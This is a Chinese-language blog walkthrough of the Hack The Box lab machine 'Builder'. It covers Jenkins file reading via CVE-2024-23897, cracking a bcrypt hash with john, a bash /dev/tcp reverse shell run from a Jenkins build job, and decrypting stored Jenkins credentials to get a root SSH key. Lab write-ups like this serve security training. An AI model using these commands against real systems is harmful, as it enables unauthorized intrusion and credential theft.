HTB-Builder

小鲤鱼不想吐泡泡了

已于 2024-03-16 18:48:25 修改

阅读量846

点赞数 15

文章标签：网络安全网络 web安全安全系统安全

于 2024-03-16 18:48:05 首次发布

本文链接：https://blog.csdn.net/li1136594919/article/details/136767364

版权

信息收集

TCP开放端口扫描

Nmap scan report for 10.10.11.10

Host is up (8.0s latency).

Not shown: 61658 filtered tcp ports (no-response), 3875 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh

8080/tcp open http-proxy

探测tcp开放端口服务信息

# Nmap 7.93 scan initiated Fri Mar 15 13:30:22 2024 as: nmap -v -sC -sT -sV -O -p22,8080, -oA open_port_service -oA open_port_service 10.10.11.10

Nmap scan report for 10.10.11.10

Host is up (0.41s latency).

PORT     STATE SERVICE VERSION

22/tcp   open ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|_ 256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)

8080/tcp open http    Jetty 10.0.18

| http-methods:

|_ Supported Methods: GET HEAD POST OPTIONS

| http-robots.txt: 1 disallowed entry

|_/

|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1

|_http-title: Dashboard [Jenkins]

| http-open-proxy: Potentially OPEN proxy.

|_Methods supported:CONNECTION

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.4 (93%)

No exact OS matches for host (test conditions non-ideal).

Uptime guess: 13.362 days (since Sat Mar 2 03:51:07 2024)

Network Distance: 2 hops

TCP Sequence Prediction: Difficulty=256 (Good luck!)

IP ID Sequence Generation: All zeros

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Fri Mar 15 13:32:33 2024 -- 1 IP address (1 host up) scanned in 130.59 second

Getshell

8080端口

浏览器输入靶机IP后，Jenkins页面，且右下角有明确的版本信息。

浏览器搜索jenkins 2.441 是否存在历史漏洞，发现CVE-2024-23897，然后根据搜索出的文章：

https://github.com/godylockz/CVE-2024-23897

jenkins credentials笔记 | 独奏の小屋

获取py脚本，尝试获取文章中提到的敏感文件，

/var/jenkins_home/users/users.xml

/var/jenkins_home/users/jennifer_12108429903186576833/config.xml

获取到一个密码hash

<passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>

取出加密字符串并尝试使用john进行破解：

echo '$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a' > hash

john hash --wordlist=/usr/share/wordlists/rockyou.txt

得到明文密码princess，尝试登录jenkins，成功！

然后开始搜索jenkins的反弹shell方法：

https://github.com/Brzozova/reverse-shell-via-Jenkins

Go to New Item -> Freestyle job -> Execute Windows batch command.

加入反弹shell命令

bash -c "/bin/bash -i >& /dev/tcp/10.10.16.38/9001 0>&1"

点击保存，kali监听本地端口

rlwrap nc -lvnp 9001

注:rlwrap 是 Linux 系统中的一个命令行工具，它的主要作用是为不支持 readline 功能的程序提供 readline 支持。Readline 是一个 GNU 项目，它提供了编辑命令行、保存命令历史记录以及自动完成等功能。

当你在终端中使用某些文本编辑器或者交互式工具时，readline 可以提供非常方便的编辑和导航功能，比如使用方向键移动光标、使用 Ctrl+R 进行历史命令搜索等。然而，并非所有的命令行程序都内置了 readline 支持。

rlwrap 可以在不支持 readline 的程序前作为一个包装器（wrapper），使得这些程序能够借用 readline 的功能。这意味着，通过 rlwrap，你可以在更多的命令行程序中享受到 readline 提供的便捷性。

使用 rlwrap 的一个典型例子是与 nc（netcat）一起使用，因为 nc 默认不支持 readline然后点击Build Now。(浏览器搜索)

然后点击Build Now:

        which script

        /usr/bin/script -qc /bin/bash /dev/null

kali收到反弹shell

尝试使用python提升交互性并未成功，但好在有script

        which script

        /usr/bin/script -qc /bin/bash /dev/null

后面枚举信息过程中发现很多基础命令都没有且存在/.dockerenv文件，由此断定在docker环境中。

提权

根据文章：

https://hasegawaazusa.github.io/jenkins-credentials-note.html

将利用文件下载下来传到靶机上，

./jenkins-credentials-decryptor \
  -m $JENKINS_HOME/secrets/master.key \
  -s $JENKINS_HOME/secrets/hudson.util.Secret \
  -c $JENKINS_HOME/credentials.xml \
  -o json

将解密得到的字符复制下来：

保存到id_rsa文件中，然后将其改为正确格式

sed 's/\\n/\r\n/g' id_rsa -i

id_rsa文件权限要为600,否则会导致连接失败。

chmod 600 id_rsa

改变文件类型为unix格式

dos2unix id_rsa

尝试连接

ssh root@10.10.11.10 -i id_rsa,成功！

小鲤鱼不想吐泡泡了

关注

15
点赞
踩
19

收藏

觉得还不错? 一键收藏
1
评论
HTB-Builder

注:rlwrap 是 Linux 系统中的一个命令行工具，它的主要作用是为不支持 readline 功能的程序提供 readline 支持。rlwrap 可以在不支持 readline 的程序前作为一个包装器（wrapper），使得这些程序能够借用 readline 的功能。当你在终端中使用某些文本编辑器或者交互式工具时，readline 可以提供非常方便的编辑和导航功能，比如使用方向键移动光标、使用 Ctrl+R 进行历史命令搜索等。浏览器输入靶机IP后，Jenkins页面，且右下角有明确的版本信息。
复制链接

扫一扫